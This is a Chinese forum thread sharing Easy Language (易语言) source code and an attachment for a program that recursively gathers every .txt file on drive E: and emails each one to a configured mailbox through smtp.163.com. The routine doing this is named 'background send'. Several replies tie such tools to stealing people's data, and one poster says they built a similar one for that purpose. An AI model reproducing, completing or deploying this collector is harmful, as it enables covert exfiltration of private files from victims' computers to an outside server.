文件枚举并发送到指定邮箱

liu2220

最近在群里看到有人求个文件遍历指定类型，并发送到指定邮箱的人。
刚好这两天闲来无事就顺手写了个出来。
本程序借用了 @福仔 的文件_枚举_升级版 代码。主要是为了省事。懒得自己再去写
这个程序界面没做，只做了个按钮，搜索E盘上的 TXT文件，并发送到自己指定的邮箱上去。
其中SMTP服务器和邮箱都可以根据自己的需要去做调整
图片就不上了。有需要的自行下载。


如果本贴涉嫌违规就论坛短信通知，或者管理帮忙删除下附件，千万不要删贴哦。

  

窗口程序集名	保 留	保 留	备 注
窗口程序集_启动窗口
变量名	类 型	数组	备 注
连接服务器状态	逻辑型

子程序名	返回值类型	公开	备 注
后台发送

变量名	类 型	静态	数组	备 注
路径	文本型		0
计次	整数型

文件_枚举_升级版 (“e:”, “.txt”, 路径, 0, 假, 真)
' 调试输出 (路径)
计次循环首 (取数组成员数 (路径), 计次)
添加附件数据 (读入文件 (路径 [计次]), 文件_取文件名 (路径 [计次], 假))
发送邮件 (文件_取文件名 (路径 [计次], 假), 文件_取文件名 (路径 [计次], 假), “写上自己的邮箱名，也可以随便写个字符上去<这里是邮箱地址>”, , , “如果是两个邮箱进行操作，这里就写上要发邮件的邮箱地址”, “如果是两个邮箱进行操作，这里就写上要发邮件的邮箱地址”)
处理事件 ()
计次循环尾 ()

子程序名	返回值类型	公开	备 注
__启动窗口_创建完毕

连接服务器状态 ＝ 连接发信服务器 (“smtp.163.com”, “这个是看邮箱的需要进行设置，有些邮箱是要独立设置的，163是不需要设置的，只要留空就行”, “邮箱名”, “登录邮箱SMTP服务器的密码，有些是默认的密码就行，有些需要自己独立设置”, )

子程序名	返回值类型	公开	备 注
文件_枚举_升级版	整数型		提供一个目录,获取目录下指定格式文件,成功返回获取到的数量,失败返回0
参数名	类 型	参考	可空	数组	备 注
欲寻找的目录	文本型				提供一个目录,比如 “c:” 为空则搜索程序运行的目录
欲寻找的文件名	文本型				提供一个或多个扩展名,多个扩展名请用"|" 隔开,扩展名的点可加可不加,比如: ".jpg|exe|png|.e" 留空则获取全部搜索到的文件
文件数组	文本型				提供一个文本型的数组变量,接受结果
路径格式	整数型				0为获取完整路径,比如"c:\123.txt" 1为获取文件名,含扩展名,比如"123.txt" 2为文件名,不含扩展名 比如"123" 默认为0,获取完整路径
是否添加目录	逻辑型				为真时,搜索到的目录也加入到文件数组,默认为假,不加入目录
是否包含子目录	逻辑型				为真则子目录下文件也搜索,默认为假,不搜索子目录

变量名	类 型	静态	数组	备 注
局_搜索文件	文本型
局_扩展名	文本型		0
局_搜到文件	文本型
局_加入的文件	文本型
i	整数型

如果真 (欲寻找的目录 ＝ “”)
欲寻找的目录 ＝ 取运行目录 ()
如果真 (取文本右边 (欲寻找的目录, 1) ≠ “\”)
欲寻找的目录 ＝ 欲寻找的目录 ＋ “\”
局_搜索文件 ＝ 寻找文件 (欲寻找的目录 ＋ “*.*”, )
判断循环首 (局_搜索文件 ≠ “”)
处理事件 ()
判断 (欲寻找的文件名 ＝ “*.*” 或 欲寻找的文件名 ＝ “.*” 或 欲寻找的文件名 ＝ “*”)
局_搜到文件 ＝ 局_搜索文件
判断 (是否为空 (欲寻找的文件名) ＝ 假 且 欲寻找的文件名 ≠ “”)
局_扩展名 ＝ 分割文本 (欲寻找的文件名, “|”, )
计次循环首 (取数组成员数 (局_扩展名), i)
如果真 (取文本左边 (局_扩展名 [i], 1) ≠ “.”)
局_扩展名 [i] ＝ “.” ＋ 局_扩展名 [i]
如果真 (到小写 (局_扩展名 [i]) ＝ 到小写 (取文本右边 (局_搜索文件, 取文本长度 (局_扩展名 [i]))))
局_搜到文件 ＝ 局_搜索文件
跳出循环 ()

计次循环尾 ()
局_搜到文件 ＝ 局_搜索文件

如果真 (局_搜到文件 ≠ “”)
判断 (路径格式 ＝ 0)
局_加入的文件 ＝ 欲寻找的目录 ＋ 局_搜到文件
判断 (路径格式 ＝ 1)
局_加入的文件 ＝ 局_搜到文件
判断 (路径格式 ＝ 2)
局_加入的文件 ＝ 取文本左边 (局_搜到文件, 倒找文本 (局_搜到文件, “.”, , 假) － 1)
局_加入的文件 ＝ 欲寻找的目录 ＋ 局_搜到文件  ' 其他情况都返回全路径
加入成员 (文件数组, 局_加入的文件)
局_搜到文件 ＝ “”
局_搜索文件 ＝ 寻找文件 (, )
判断循环尾 ()
如果真 (是否添加目录 或 是否包含子目录)
局_搜索文件 ＝ 寻找文件 (欲寻找的目录 ＋ “*.*”, #子目录 )
判断循环首 (局_搜索文件 ≠ “”)
如果真 (取文本左边 (局_搜索文件, 1) ≠ “.”)
如果真 (是否添加目录)
加入成员 (文件数组, 欲寻找的目录 ＋ 局_搜索文件)
如果真 (是否包含子目录)
文件_枚举_升级版 (欲寻找的目录 ＋ 局_搜索文件, 欲寻找的文件名, 文件数组, 路径格式, 是否添加目录, 是否包含子目录)  ' 递归

局_搜索文件 ＝ 寻找文件 (, #子目录 )
判断循环尾 ()
返回 (取数组成员数 (文件数组))

子程序名	返回值类型	公开	备 注
_按钮1_被单击

后台发送 ()

i支持库列表	支持库注释
internet	互联网支持库

.版本 2<br /> .支持库 internet<br /> <br /> .程序集 窗口程序集_启动窗口<br /> .程序集变量 连接服务器状态, 逻辑型<br /> <br /> .子程序 后台发送<br /> .局部变量 路径, 文本型, , "0"<br /> .局部变量 计次, 整数型<br /> <br /> 文件_枚举_升级版 (“e:”, “.txt”, 路径, 0, 假, 真)<br /> ' 调试输出 (路径)<br /> .计次循环首 (取数组成员数 (路径), 计次)<br />     添加附件数据 (读入文件 (路径 [计次]), 文件_取文件名 (路径 [计次], 假))<br />     发送邮件 (文件_取文件名 (路径 [计次], 假), 文件_取文件名 (路径 [计次], 假), “写上自己的邮箱名，也可以随便写个字符上去<这里是邮箱地址>”, , , “如果是两个邮箱进行操作，这里就写上要发邮件的邮箱地址”, “如果是两个邮箱进行操作，这里就写上要发邮件的邮箱地址”)<br />     处理事件 ()<br /> .计次循环尾 ()<br /> <br /> .子程序 __启动窗口_创建完毕<br /> <br /> 连接服务器状态 ＝ 连接发信服务器 (“smtp.163.com”, “这个是看邮箱的需要进行设置，有些邮箱是要独立设置的，163是不需要设置的，只要留空就行”, “邮箱名”, “登录邮箱SMTP服务器的密码，有些是默认的密码就行，有些需要自己独立设置”, )<br /> <br /> <br /> .子程序 文件_枚举_升级版, 整数型, 公开, 提供一个目录,获取目录下指定格式文件,成功返回获取到的数量,失败返回0<br /> .参数 欲寻找的目录, 文本型, 可空, 提供一个目录,比如 “c:” 为空则搜索程序运行的目录<br /> .参数 欲寻找的文件名, 文本型, 可空, 提供一个或多个扩展名,多个扩展名请用"|" 隔开,扩展名的点可加可不加,比如: ".jpg|exe|png|.e" 留空则获取全部搜索到的文件<br /> .参数 文件数组, 文本型, 参考 可空 数组, 提供一个文本型的数组变量,接受结果<br /> .参数 路径格式, 整数型, 可空, 0为获取完整路径,比如"c:\123.txt" 1为获取文件名,含扩展名,比如"123.txt" 2为文件名,不含扩展名 比如"123" 默认为0,获取完整路径<br /> .参数 是否添加目录, 逻辑型, 可空, 为真时,搜索到的目录也加入到文件数组,默认为假,不加入目录<br /> .参数 是否包含子目录, 逻辑型, 可空, 为真则子目录下文件也搜索,默认为假,不搜索子目录<br /> .局部变量 局_搜索文件, 文本型<br /> .局部变量 局_扩展名, 文本型, , "0"<br /> .局部变量 局_搜到文件, 文本型<br /> .局部变量 局_加入的文件, 文本型<br /> .局部变量 i, 整数型<br /> <br /> .如果真 (欲寻找的目录 ＝ “”)<br />     欲寻找的目录 ＝ 取运行目录 ()<br /> .如果真结束<br /> .如果真 (取文本右边 (欲寻找的目录, 1) ≠ “\”)<br />     欲寻找的目录 ＝ 欲寻找的目录 ＋ “\”<br /> .如果真结束<br /> 局_搜索文件 ＝ 寻找文件 (欲寻找的目录 ＋ “*.*”, )<br /> .判断循环首 (局_搜索文件 ≠ “”)<br />     处理事件 ()<br />     .判断开始 (欲寻找的文件名 ＝ “*.*” 或 欲寻找的文件名 ＝ “.*” 或 欲寻找的文件名 ＝ “*”)<br />         局_搜到文件 ＝ 局_搜索文件<br />     .判断 (是否为空 (欲寻找的文件名) ＝ 假 且 欲寻找的文件名 ≠ “”)<br />         局_扩展名 ＝ 分割文本 (欲寻找的文件名, “|”, )<br />         .计次循环首 (取数组成员数 (局_扩展名), i)<br />             .如果真 (取文本左边 (局_扩展名 <i>, 1) ≠ “.”)<br />                 局_扩展名 <i> ＝ “.” ＋ 局_扩展名 <i><br />             .如果真结束<br />             .如果真 (到小写 (局_扩展名 <i>) ＝ 到小写 (取文本右边 (局_搜索文件, 取文本长度 (局_扩展名 <i>))))<br />                 局_搜到文件 ＝ 局_搜索文件<br />                 跳出循环 ()<br />             .如果真结束<br /> <br />         .计次循环尾 ()<br />     .默认<br />         局_搜到文件 ＝ 局_搜索文件<br />     .判断结束<br /> <br />     .如果真 (局_搜到文件 ≠ “”)<br />         .判断开始 (路径格式 ＝ 0)<br />             局_加入的文件 ＝ 欲寻找的目录 ＋ 局_搜到文件<br />         .判断 (路径格式 ＝ 1)<br />             局_加入的文件 ＝ 局_搜到文件<br />         .判断 (路径格式 ＝ 2)<br />             局_加入的文件 ＝ 取文本左边 (局_搜到文件, 倒找文本 (局_搜到文件, “.”, , 假) － 1)<br />         .默认<br />             局_加入的文件 ＝ 欲寻找的目录 ＋ 局_搜到文件  ' 其他情况都返回全路径<br />         .判断结束<br />         加入成员 (文件数组, 局_加入的文件)<br />     .如果真结束<br />     局_搜到文件 ＝ “”<br />     局_搜索文件 ＝ 寻找文件 (, )<br /> .判断循环尾 ()<br /> .如果真 (是否添加目录 或 是否包含子目录)<br />     局_搜索文件 ＝ 寻找文件 (欲寻找的目录 ＋ “*.*”, #子目录)<br />     .判断循环首 (局_搜索文件 ≠ “”)<br />         .如果真 (取文本左边 (局_搜索文件, 1) ≠ “.”)<br />             .如果真 (是否添加目录)<br />                 加入成员 (文件数组, 欲寻找的目录 ＋ 局_搜索文件)<br />             .如果真结束<br />             .如果真 (是否包含子目录)<br />                 文件_枚举_升级版 (欲寻找的目录 ＋ 局_搜索文件, 欲寻找的文件名, 文件数组, 路径格式, 是否添加目录, 是否包含子目录)  ' 递归<br />             .如果真结束<br /> <br />         .如果真结束<br />         局_搜索文件 ＝ 寻找文件 (, #子目录)<br />     .判断循环尾 ()<br /> .如果真结束<br /> 返回 (取数组成员数 (文件数组))<br /> <br /> .子程序 _按钮1_被单击<br /> <br /> 后台发送 ()

发邮件.rar (146.21 KB, 下载次数: 104)

2016-11-13 10:46 上传

点击文件名下载附件

懒人定制软件

在此留名，以后多多交流哦~

再奔放些

看下是什么

易语言老米

这些知识在哪学到的，我天天学post，这些都不会额

2446789312

下载看看！！

niux

过来看看文件枚举并发送到指定邮箱

happyweeks365

liu2220 发表于 2016-11-13 12:54
你改下数据类型不就好了。看看那个命令返回的是什么类型，再根据它返回的类型去修改变量的类型就可以了。

ok；；；；；；；；

liu2220

happyweeks365 发表于 2016-11-13 12:30
编译...
错误(10044): 不能将“文本型”数据转换到“整数型”数据。
请大侠们指导下 谢了

你改下数据类型不就好了。看看那个命令返回的是什么类型，再根据它返回的类型去修改变量的类型就可以了。

happyweeks365

编译...
错误(10044): 不能将“文本型”数据转换到“整数型”数据。
请大侠们指导下 谢了

小bai菜

又让我想起当年被人遍历硬盘源码然后传他空间上去的某光

幻月工作室

以前做过，遍历所有TXT，然后压缩后再上传FTP，目的就是盗取别人的信息